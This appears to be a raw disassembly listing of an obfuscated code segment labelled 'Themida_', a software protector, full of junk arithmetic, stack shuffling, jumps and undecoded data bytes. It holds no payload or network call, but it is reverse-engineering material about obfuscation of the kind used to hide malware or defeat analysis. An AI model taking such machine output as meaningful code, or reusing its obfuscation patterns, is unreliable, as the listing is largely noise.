; ---------------------------------------------------------------------------


loc_504026:				; CODE XREF: Themida_:005087DEj
		add	eax, 4
		jmp	loc_504C10
; ---------------------------------------------------------------------------
		dd 0C108E6C1h, 0F68102EEh, 153F71Bh, 55EF329h, 0E1D5AFBh
		dd 0FB2DD801h, 8B0E1D5Ah, 0C481241Ch, 4, 0F177E9h, 241C8900h
		dd 56E08950h, 2A4336BEh, 81DEF744h, 2A433AC6h, 5EF00144h
		dd 42Dh, 24048700h, 1697E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50407E:				; CODE XREF: Themida_:0050B078j
		xor	dl, 76h
		sub	cl, dl
		pop	edx
		sub	bh, cl
		jmp	loc_5151AB
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C481h, 0EA810000h, 2, 0E9241433h, 5A73h, 0E9C0B70Fh
		dd 893Eh
; ---------------------------------------------------------------------------


loc_5040A8:				; CODE XREF: Themida_:00517294j
		mov	[esp], ebx
		mov	ebx, 452670E2h
		and	ebx, 7F4328B4h
		shr	ebx, 6
		dec	ebx
		and	ebx, 40BA62F7h
		shl	ebx, 7
		push	edx
		jmp	loc_50A75B
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 240C895Ch, 4B9h, 8BCF2900h, 8DE9240Ch, 68000053h, 0
		dd 124A9E9h, 4E9C100h, 989E181h, 0ECE90F04h, 8B0000E9h
		dd 0C481242Ch, 4, 5C24048Fh, 9C243CD2h,	0FEA9E9h, 81D5F700h
		dd 1C3226C5h, 71A46842h, 4890000h, 861DE924h, 0D400000h
		dd 3D310564h, 0E9484048h, 3393h, 82607E35h, 4EC8311h, 68240C89h
		dd 129879DFh, 59C82959h, 0E9E9h, 0D9295800h, 11CC6E9h
		db 0
; ---------------------------------------------------------------------------


loc_504151:				; CODE XREF: Themida_:0050C7B2j
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 12CA6821h
		push	5865h
		mov	[esp], esi
		jmp	loc_511565
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 3304EE83h, 34312434h, 9487E924h, 74FF0000h, 8F5D0424h
		dd 535C2404h, 4BBh, 8BDA0100h, 0C483241Ch, 1848E904h, 0EC830001h
		dd 24048904h, 0F012ECB8h, 22403504h, 10E97A77h
		db 0CEh, 2 dup(0)
byte_5041AF	db 8Fh			; DATA XREF: Themida_:005027E8o
		dd 0E915E902h, 3489FFFFh, 56CD6824h, 0C890000h,	8B96624h
		dd 0E9516663h, 0E085h, 0C8BCC00h, 4C48124h, 5B000000h
		dd 0FE9E688h
		db 0EDh, 2 dup(0FFh)
byte_5041DF	db 8Bh			; DATA XREF: Themida_:0050288Co
		dd 6C68240Ch, 8900005Ch, 0DC68243Ch, 54000061h,	0E924048Fh
		dd 12228h, 0FF2434FFh, 835B2434h, 0E46804C4h, 89000027h
		dd 68E9240Ch, 100007Dh,	0C1015EF0h, 8B2434FFh, 0C4812404h
		dd 4, 0D09EE9h
		db 0
; ---------------------------------------------------------------------------


loc_504225:				; CODE XREF: Themida_:00512B90j
		push	ecx
		mov	ecx, 37FC0EE5h
		dec	ecx
		push	eax
		jmp	loc_51304B
; ---------------------------------------------------------------------------
		dw 8150h
		dd 4ECh, 0F242E900h, 0FF510000h, 8B042474h, 0C0E9240Ch
		db 3Dh,	2 dup(0)
byte_50424B	db 0FFh			; DATA XREF: Themida_:005029ACo
		dd 0B8E92434h, 5800000Ch, 405h,	2E88300h, 8B240487h, 89662424h
		dd 3E9240Ch, 10000B8h, 5B04245Ch, 8952505Ah, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 0C4DEE95Ch, 5B660000h, 4EC8153h
		dd 0E9000000h, 0BFA5h, 81E28952h, 4C2h,	4C28300h, 5C241487h
		dd 2474FF51h, 48F5904h,	0E9565C24h, 10F48h
; ---------------------------------------------------------------------------


loc_5042B8:				; CODE XREF: Themida_:005140D9j
		sub	ecx, eax
		add	ecx, 557300B4h
		pop	eax
		jmp	loc_514AAD
; ---------------------------------------------------------------------------


loc_5042C6:				; CODE XREF: Themida_:0050C991j
		pop	edi
		jmp	loc_507048
; ---------------------------------------------------------------------------
aZsyr		db 'ZéY',0
		align 2
		dw 0E95Ah
		dd 2C8h, 0ABB1515Bh, 80E0E980h,	0CC30B9C1h, 5E4C059h, 0FEC0F480h
		dd 0E9DCF6C4h, 0CBA5h, 652FACB8h, 5DE8317Bh, 5A75140Dh
		dd 77F12D39h, 0EF813B5Ah, 37ED44D3h, 27FBEF81h,	0C70174F6h
		dd 27FBC781h, 0C78174F6h, 37ED44D3h, 8124048Bh,	4C4h, 0BF575200h
		dd 2, 84A9E9h, 5AD72900h, 5C243C87h, 0E9243489h, 508Fh
		dd 0FFFFFFBAh, 8BD729FFh, 0C4812414h, 4, 1F0D6853h, 0E95B210Fh
		dd 7CD5h, 0EC815866h, 4, 0E9240489h, 0A86Ah, 0E9240487h
		dd 0B50Ah, 727AE981h, 51504228h, 0E0591B9h, 59C8896Bh
		dd 8158C121h, 2764A5F1h, 59CB0139h, 0F353E9h, 24348B00h
		dd 4C481h, 0BB530000h, 2Ch, 6920E9h
		db 0
; ---------------------------------------------------------------------------


loc_5043AD:				; CODE XREF: Themida_:0050FE1Aj
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5061E3
; ---------------------------------------------------------------------------
aBOz@s2a	db 'ÅozÜ@é2a',0
		align 2
		dw 3C8Bh
		dd 4EC8124h, 0E9000000h, 2AA6h,	2E46E95Ch, 348B0001h, 4C48124h
		dd 33000000h, 2C31242Ch, 242C3324h, 386FE95Ch, 0E8680001h
		dd 0E930592Ch, 10A87h, 0C4E95A59h, 4BFFFFE6h, 85BF5751h
		dd 8916EECFh, 0BBF6E9F9h, 48660000h, 2FCE0566h,	6FD83566h
		dd 0E9C12966h, 4BC0h, 0E96DC380h, 0E991h, 81242C8Bh, 4C4h
		dd 3E95300h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50443F:				; CODE XREF: Themida_:00509BE4j
		sub	ecx, 78EF5A8Ah
		mov	esi, [esp]
		add	esp, 4
		push	641Eh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	eax, [esp]
		push	63B9h
		mov	[esp], eax
		jmp	loc_512419
; ---------------------------------------------------------------------------


loc_50446C:				; CODE XREF: Themida_:00502F3Ej
		pop	eax
		shl	eax, 5
		or	eax, 6A5E2BC7h
		and	eax, 65A27526h
		push	esi
		push	87F6004h
		jmp	loc_504825
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0CFh
		dd 0C1537817h, 0EAC103E2h, 4EE95704h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_504497:				; CODE XREF: Themida_:0050C702j
		dec	edx
		sub	edx, 0F4EEC217h
		jmp	loc_516234
; ---------------------------------------------------------------------------


loc_5044A3:				; CODE XREF: Themida_:005081D2j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	2775h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_508F80
; ---------------------------------------------------------------------------
		dd 8904EC83h, 32682414h, 5A3F6B7Fh, 15AD301h, 32BF57C3h
		dd 0E93F6B7Fh, 0F1ABh
; ---------------------------------------------------------------------------


loc_5044E4:				; CODE XREF: Themida_:0050870Dj
		sub	[esp+4], ebp
		push	ebx
		mov	ebx, 58733E6Ah
		jmp	loc_502D5D
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFFFC581h, 0EDD1FFFFh, 11B6BE9h, 81E78900h,	4C7h, 4C78300h
		dd 68E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_504511:				; CODE XREF: Themida_:0050AA13j
		pop	ecx
		push	edx
		push	esp
		pop	edx
		push	73D8h
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebx
		jmp	loc_509AB2
; ---------------------------------------------------------------------------


loc_50452B:				; CODE XREF: Themida_:0050DC29j
		add	ebp, 96C4A209h
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		add	esi, 574424AAh
		jmp	loc_503A22
; ---------------------------------------------------------------------------
		db 31h
		dd 0EC835BD8h, 24348904h, 8904EC83h, 0E9542404h, 2303h
		dd 4B9h, 4019E900h, 89510000h, 0CAE956E1h, 8100010Ah, 4C1h
		dd 4C18100h, 0E9000000h, 0B026h, 4B9h, 59CF0100h, 2C781h
		dd 89520000h, 4C281E2h,	83000000h, 0E95204EAh, 435Dh, 2474FF55h
		dd 7E1E904h, 895A0001h,	0C58158C5h, 231C43F5h, 0C152ED81h
		dd 0DE936FDh
		db 0DFh, 2 dup(0)
byte_5045BF	db 66h			; DATA XREF: Themida_:005028C4o
		dd 53240C8Bh, 2D5EE954h, 315B0001h, 0ACBAE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5045D2:				; CODE XREF: Themida_:0050BD78j
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_51058D
; ---------------------------------------------------------------------------
aFbVyslf	db 'fÍVYé«ä',0
		db 0
; ---------------------------------------------------------------------------


loc_5045EF:				; CODE XREF: Themida_:00512A95j
		push	ecx
		jmp	loc_515D63
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 44010000h, 8B580424h, 0C4812414h, 4,	8904EC83h, 0EC83241Ch
		dd 240C8904h, 2713FAB9h, 64E94915h, 8900000Fh, 0E789243Ch
		dd 45D568h, 24048900h, 0A85415B8h, 0DD68576Ah, 5F3CE118h
		dd 0AAC7814Fh, 8128EE32h, 656C2CEFh, 9AB9511Ch,	0C164224Fh
		dd 0B8E906E9h, 46FFFFEFh, 0A2CCE81h, 0EE8146E5h, 4B321830h
		dd 415EF109h, 0C858F181h, 0D9E9A077h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50466F:				; CODE XREF: Themida_:005109BAj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_50EE89
; ---------------------------------------------------------------------------
a_S5g		db '_]é5£',0
		dw 5A00h
		dd 0AD99E9h
		db 0
; ---------------------------------------------------------------------------


loc_504695:				; CODE XREF: Themida_:0050F93Bj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_506217
; ---------------------------------------------------------------------------
		dd 0F6E9455Bh, 5A00011Fh, 3359CA01h, 14312414h,	24143324h
		dd 2124248Bh, 0E95A1C57h, 0FFFFE403h
; ---------------------------------------------------------------------------


loc_5046C8:				; CODE XREF: Themida_:00511FDCj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_50AB18
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 28F2B151h, 0D80059C8h
		dd 0CC68F204h, 89000002h, 0B050241Ch, 0C18851B0h, 5859CB88h
		dd 1C8BD800h, 72DFE924h, 0A9680000h, 5B781157h,	13239E9h
		dd 2434FF00h, 582434FFh, 3C8B5457h, 4C48324h, 4EC8353h
		dd 0B8240489h, 37877EB9h, 0E9585B50h, 72DCh, 0D5E9CD89h
		dd 52000109h, 47E9E289h
		db 57h,	2 dup(0)
byte_50474F	db 0FFh			; DATA XREF: Themida_:0050294Co
		dd 34FF2434h, 24048B24h, 0E904C483h, 0E402h, 68515359h
		dd 34CE383Dh, 0F7E2E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50476E:				; CODE XREF: Themida_:00511A4Ej
		sub	ebp, 0A1BBC7F6h
		sub	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 5C113097h
		sub	edi, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	ecx, edi
		jmp	loc_516923
; ---------------------------------------------------------------------------
word_50478E	dw 0AD66h		; DATA XREF: Themida_:00502920o
		dd 4EC81h, 1BE90000h, 31FFFFFAh, 0DEDFE9DDh
		db 2 dup(0)
word_5047A2	dw 8B66h		; DATA XREF: Themida_:00502878o
		dd 8952240Ch, 42BB53E2h, 576E8A4Ch, 775155BFh, 74CF8112h
		dd 4733E53Bh, 0A9EF8147h, 11DF0FCh, 0E3C15FFBh,	81DBF702h
		dd 0BCD3C4F3h, 8BDA01EDh, 21E9241Ch
		db 0E7h, 2 dup(0FFh)
byte_5047DB	db 0FFh			; DATA XREF: Themida_:005028C0o
		dd 34FF2434h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	1B69h
		jmp	loc_510388
; ---------------------------------------------------------------------------
		db 89h
		dd 24BB241Ch, 81226F05h, 7E610AE3h, 0CEBF5757h,	0F7136F46h
		dd 0B7E953DFh, 500009Fh, 48648004h, 3852E9h
		db 0
; ---------------------------------------------------------------------------


loc_504825:				; CODE XREF: Themida_:00504480j
		push	dword ptr [esp]
		jmp	loc_502EBA
; ---------------------------------------------------------------------------
aZsz		db ')ÓZé§Ó',0
		dd 53055F00h, 553A2107h, 0CA76CBBDh, 1EED8148h,	815FA94Ch
		dd 117BA2E5h, 85E58177h, 0E96B612Fh, 74CCh, 5BD88959h
		dd 8904EC83h, 0DEBB241Ch, 817D8040h, 0DC3BCEEAh, 81DA0116h
		dd 0DC3BCEC2h, 0B2E95B16h, 4000099h, 0E9480420h, 1366Ch
		dd 75BD555Ah, 902C855h,	0E9535DEFh, 5463h
; ---------------------------------------------------------------------------


loc_504894:				; CODE XREF: Themida_:00503111j
		pop	edi
		pop	eax
		sub	eax, edi
		pop	edi
		jmp	loc_50A747
; ---------------------------------------------------------------------------


loc_50489E:				; CODE XREF: Themida_:0051600Dj
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		jmp	loc_5133A2
; ---------------------------------------------------------------------------


loc_5048AC:				; CODE XREF: Themida_:0050CF37j
		mov	esi, 4
		jmp	loc_510F6F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 2BFh, 2C59E900h, 0C3010000h, 8D1DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5048CD:				; CODE XREF: Themida_:0051572Ej
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		xor	dword ptr [esp], 2FEF5D6Ah
		pop	eax
		push	67D2h
		mov	[esp], esi
		mov	esi, 2FEF5D6Ah
		xor	eax, esi
		pop	esi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_512FA5
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 31BE3B59h, 102C2E9h,	0BE95200h, 510000F0h, 0FB25D2B9h
		dd 59CA894Bh, 895AD331h, 0A1E95BD8h, 0B9000060h, 40374536h
		dd 0E949E9D1h, 2577h, 2474FF52h, 48F5A04h, 24248B24h, 4C98E9h
		dd 0C1895800h, 4C015F58h, 0D2E90424h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50494F:				; CODE XREF: Themida_:0050A295j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5098EB
; ---------------------------------------------------------------------------


loc_504958:				; CODE XREF: Themida_:0050D213j
		mov	ebp, 0
		sub	ebp, ebx
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 5
		inc	ebx
		push	427Fh
		mov	[esp], edi
		jmp	loc_50C98C
; ---------------------------------------------------------------------------


loc_504973:				; CODE XREF: Themida_:00508CB1j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	1707h
		jmp	loc_50DF6F
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0B5515024h, 80CDFEAEh, 0C58042CDh, 0BAF5802Eh, 8159E888h
		dd 4ECh, 24048900h, 885296B4h, 5AF588E6h, 1C16E958h, 51500000h
		dd 0EC88DD88h, 58E58859h, 0E9EA8852h, 1160Eh, 8107E1C1h
		dd 3517BE1h, 5FBB537Fh,	2969FF57h, 3E41E9D9h, 0B5680000h
		dd 8900006Eh, 0B8502424h, 4, 4244401h, 0BAFAE9h, 0BF575A00h
		dd 2F3364C5h, 0EF46E9h
		db 0
; ---------------------------------------------------------------------------


loc_504A01:				; CODE XREF: Themida_:00515626j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 4
		jmp	loc_508787
; ---------------------------------------------------------------------------


loc_504A12:				; CODE XREF: Themida_:0050FEEAj
		mov	ebx, 125A3C57h
		and	ecx, ebx
		pop	ebx
		push	ecx
		jmp	loc_510423
; ---------------------------------------------------------------------------
		dd 65C28159h, 13C2C2Dh,	65EA81F2h, 5E3C2C2Dh, 34E9D501h
		dd 450000E6h, 43F5814Dh, 81513167h, 78D15BC5h, 25ADE9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504A4A:				; CODE XREF: Themida_:0050F39Dj
		shr	ecx, 4
		xor	ecx, 5B447441h
		sub	ecx, 4980E850h
		xor	ebx, ecx
		pop	ecx
		jmp	loc_512809
; ---------------------------------------------------------------------------
		db 88h,	3Ah, 8Bh
		dd 0B6E9241Ch
		db 3, 1, 0
; ---------------------------------------------------------------------------


loc_504A6B:				; CODE XREF: Themida_:00510AE9j
		add	esi, 4
		push	0A3Eh
		mov	[esp], eax
		jmp	loc_516080
; ---------------------------------------------------------------------------


loc_504A7E:				; CODE XREF: Themida_:00515C2Cj
		pop	edi
		xor	edi, ecx
		pop	ecx
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_50EA6D
; ---------------------------------------------------------------------------


loc_504A96:				; CODE XREF: Themida_:0051368Aj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		jmp	loc_509A10
; ---------------------------------------------------------------------------
aLSxo		db '‹<$éXŽ',0
		db 0
; ---------------------------------------------------------------------------


loc_504AB9:				; CODE XREF: Themida_:005039C2j
		mov	[esp], esi
		jmp	loc_50339F
; ---------------------------------------------------------------------------


loc_504AC1:				; CODE XREF: Themida_:00513192j
		mov	ecx, 31DC6C90h
		xor	ecx, 43F608C0h
		shl	ecx, 7
		not	ecx
		add	ecx, 383651CBh
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edi, 1A70399Fh
		shl	edi, 3
		xchg	edx, edi
		jmp	loc_50C9DB
; ---------------------------------------------------------------------------
		dd offset byte_52B568
		dw 0E900h
		dd 412Bh, 497A68h, 243C8900h, 1339CE9h,	7B102D00h, 0EC8342B3h
		dd 0E203E904h, 8197FFFFh, 0CD5FC8C7h, 0FB63E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504B22:				; CODE XREF: Themida_:0050BFAEj
		push	ebp
		mov	ebp, 7B47186Ch
		add	ebx, ebp
		pop	ebp
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 40C95F77h
		sub	edx, 1
		jmp	loc_50F3A2
; ---------------------------------------------------------------------------
		dd 61177F2Dh, 0AAD12D22h, 0C7012746h, 8324048Bh, 0EF8104C4h
		dd 4, 0DFDCE9h,	58C50100h, 0E95DEB89h, 0CDB2h, 2CB9515Bh
		dd 0C1156457h, 0F9E905E1h, 5FFFFFF7h, 0B3E7814Fh, 81645908h
		dd 0B024A0F7h, 5FF88909h, 5C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_504B95:				; CODE XREF: Themida_:0051212Ej
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 256C3D3Ah
		jmp	loc_51132C
; ---------------------------------------------------------------------------
		dd 4EF8158h, 29D9FD84h,	0D1015FF9h, 4124BE56h, 73E90342h
		dd 5C00006Ah, 56242489h, 0F992E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504BCA:				; CODE XREF: Themida_:005094EBj
		xor	ebp, 470FE27Dh
		add	ebx, ebp
		jmp	loc_510D55
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 0E9000000h, 0DB35h
; ---------------------------------------------------------------------------


loc_504BE4:				; CODE XREF: Themida_:00515096j
		mov	eax, 1F753914h
		sub	edi, eax
		push	dword ptr [esp]
		jmp	loc_50DAC8
; ---------------------------------------------------------------------------
		db 0B1h
		dd 2883B21Ch, 6E959CAh,	52000091h, 6F4FA4BAh, 38F28117h
		dd 0E9194C12h, 0E032h
; ---------------------------------------------------------------------------


loc_504C10:				; CODE XREF: Themida_:0050402Bj
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_508379
; ---------------------------------------------------------------------------
		dw 0EA80h
		dd 0E9D420CFh, 12CC0h, 884496BBh, 1320E973h, 0F3810001h
		dd 1C325E7Ah, 6660CB81h, 0F3812670h, 0BEFDE6EDh, 0B096E9h
		db 0
; ---------------------------------------------------------------------------


loc_504C45:				; CODE XREF: Themida_:00516650j
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	41ADh
		mov	[esp], edi
		mov	edi, 1FFF50C8h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_50F311
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 7DA9E9h, 24048900h, 0FF2434FFh, 1C8B2434h, 4C48124h
		dd 83000000h, 826804C4h, 89000009h, 8B542434h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5149D8
; ---------------------------------------------------------------------------
		dd 4C481h, 0A6680000h, 8900003Eh, 0EC832414h, 0F9E9E904h
		dd 0FF550000h, 0E9042474h, 13050h
dword_504CCC	dd 4A6A05ADh, 95687212h, 89000030h, 7DB9240Ch, 81233421h
					; DATA XREF: Themida_:005029F8o
		dd 1961A2F1h, 1582052Ah, 0BD2D1ED3h, 0E9514201h, 8D31h
; ---------------------------------------------------------------------------


loc_504CF4:				; CODE XREF: Themida_:0051615Ej
		pop	ecx
		sub	bh, 61h
		xor	bh, 0E7h
		push	ebx
		not	byte ptr [esp+1]
		jmp	loc_51323C
; ---------------------------------------------------------------------------


loc_504D05:				; CODE XREF: Themida_:00513B4Aj
		pop	edi
		sub	ebp, 4
		jmp	loc_50714C
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 39A17AA0h, 66C8F581h, 524D1BB3h, 31637EBAh, 0E2C1424Eh
		dd 4ADAF708h, 7C8AF281h, 0C4E90C94h, 0F7000124h, 0E95A2414h
		dd 6785h, 4244C31h, 0E9028F59h,	0EF1Dh
; ---------------------------------------------------------------------------


loc_504D48:				; CODE XREF: Themida_:0050A301j
		neg	ecx
		xor	ecx, 6F3F7524h
		sub	ecx, 0BD06A3C0h
		or	eax, ecx
		pop	ecx
		xor	eax, 4A263104h
		push	edi
		mov	edi, 0C9974ABh
		or	eax, edi
		pop	edi
		sub	eax, 7BF5772Eh
		add	ecx, eax
		pop	eax
		push	edx
		push	ecx
		mov	ecx, 23CF6B35h
		shr	ecx, 3
		push	esi
		mov	esi, 499066B9h
		and	ecx, esi
		pop	esi
		sub	ecx, 106420h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 43EB4359h
		add	edx, ebp
		jmp	loc_505F90
; ---------------------------------------------------------------------------


loc_504D9D:				; CODE XREF: Themida_:0050C95Cj
		pop	ebx
		jmp	loc_513131
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0C7ECE900h, 8D050000h,	81456EF1h, 50174EEBh, 81C32959h
		dd 50174EC3h, 55535859h, 69350ABDh, 246C0124h, 55595D04h
		dd 186D1ABDh, 4DDDF71Dh, 5108F581h, 0CD8160DCh,	752371E7h
		dd 0C6E5F581h, 0E929D352h, 241C8B5Dh, 104C483h,	2434FFCAh
		dd 81240C8Bh, 4C4h, 0E2895200h,	4C281h,	0C2830000h, 24148704h
		dd 5FDDE9h
		db 0
; ---------------------------------------------------------------------------


loc_504E15:				; CODE XREF: Themida_:00504019j
		mov	[esp], edi
		jmp	loc_50A9EE
; ---------------------------------------------------------------------------
		db 54h,	58h, 57h
		dd 6E396BBFh, 0FFEF8169h, 81FFFFFFh, 0FE6768CFh, 98C78106h
		dd 1900180h, 0E7685FF8h, 89000024h, 96E9243Ch, 89000066h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 81425E5Ch, 0EE7E69C2h
		dd 2BF3E93Fh, 0C7810000h, 0FFFFFFFFh, 52C4F781h, 0F801639Dh
		dd 68D02D5Fh, 0D8017B03h, 368D005h, 0FC83E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504E86:				; CODE XREF: Themida_:0051236Ej
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_507531
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 895604C3h, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 241C895Ch, 30E9E389h
		db 0Fh,	1, 0
; ---------------------------------------------------------------------------


loc_504EB7:				; CODE XREF: Themida_:00513C50j
		mov	esp, [esp]
		jmp	loc_50E7B3
; ---------------------------------------------------------------------------


loc_504EBF:				; CODE XREF: Themida_:00509CA3j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		push	68D9h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	ebx
		mov	ebx, 8BB6626h
		jmp	loc_514512
; ---------------------------------------------------------------------------
aUUsim		db 'U½Ð|#UéiŒ',0
		dw 8B00h
		dd 0E957240Ch, 0FFFFEC7Bh
; ---------------------------------------------------------------------------


loc_504F14:				; CODE XREF: Themida_:0050327Fj
		pop	ebp
		jmp	loc_50D6D4
; ---------------------------------------------------------------------------
		dw 0EC05h
		dd 508A379h, 22C509B4h,	5C8A68h, 243C8900h, 2E382ABFh
		dd 6651683Eh, 2C890000h, 430BBD24h, 0C5810919h,	0FFFFFFFFh
		dd 8F6E581h, 0E5C12C9Ah, 0B17CE903h, 965F0000h,	42E9FE87h
		dd 8B00009Dh, 34FF2424h, 0E9685824h, 0E9000071h, 0FFFFF6B3h
dword_504F6C	dd 240C8B66h, 70566852h, 8F540000h, 0BB532404h,	4, 0FFF2E6E9h
					; DATA XREF: Themida_:005029ECo
		db 0FFh
; ---------------------------------------------------------------------------


loc_504F85:				; CODE XREF: Themida_:005169ABj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50A2BB
; ---------------------------------------------------------------------------


loc_504F8E:				; CODE XREF: Themida_:00503038j
		pop	esp
		add	esp, 4
		jmp	loc_50F86F
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd 55C2015Bh, 145129BDh, 5DEA2971h, 4EC81h, 0C890000h
		dd 152EE924h, 8EBF0000h, 16C724Fh, 0D6F75FFEh, 0F0C1EE81h
		dd 0F0012B9Dh, 0B5D1E9h, 0E7895700h, 4C781h, 79E90000h
		dd 0BA000107h, 4, 148BD689h, 4C48124h, 89000000h, 24348BF1h
		dd 2904C483h, 0FC39E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504FFA:				; CODE XREF: Themida_:00509976j
		push	dword ptr [esp]
		jmp	loc_512E2F
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 0B8505DEBh, 5C715671h, 8EA99305h, 8BC301A3h
		dd 0C4832404h, 74FF5304h, 1C8B0424h, 4EC8324h, 47BBE9h
		dd 5BFD8800h, 8124148Bh, 4C4h, 0C9AEE900h
		db 2 dup(0)
word_50503E	dw 8B66h		; DATA XREF: Themida_:005027F8o
		dd 4EE9240Ch, 0BF0000EFh, 63DA06B0h, 0C8E9D7F7h
		db 0Bh,	1, 0
; ---------------------------------------------------------------------------


loc_505053:				; CODE XREF: Themida_:00507ED8j
		add	edx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5092D3
; ---------------------------------------------------------------------------


loc_505066:				; CODE XREF: Themida_:00512904j
		mov	ebx, 0B534A81h
		add	[esp+4], ebx
		pop	ebx
		mov	esi, [esp]
		jmp	loc_50875E
; ---------------------------------------------------------------------------
		dd 6680BBh, 0CB814B1Bh,	446460FDh, 0A652E9h, 24148B00h
		dd 81E78957h, 4C7h, 0EA42E900h,	0DDF7FFFFh, 0D531EA31h
		dd 3F27E9h, 4C48300h, 5571C381h, 0D8011BA4h, 5B2434FFh
		dd 2D04C483h, 3C8706A4h, 5255D829h, 0F14AE9h, 0F8E95700h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_506BD3
; ---------------------------------------------------------------------------


loc_5050D3:				; CODE XREF: Themida_:00506D00j
		sub	dword ptr [esp+4], 483A68E2h
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_514B4B
; ---------------------------------------------------------------------------
		dw 5559h
		dd 42474FFh, 50242C8Bh,	0BE56E089h, 0BBA5B09h, 3809F681h
		dd 0C6814632h, 1A675CACh, 116868h, 243C8900h, 0FFFEA1E9h
		db 0FFh
; ---------------------------------------------------------------------------


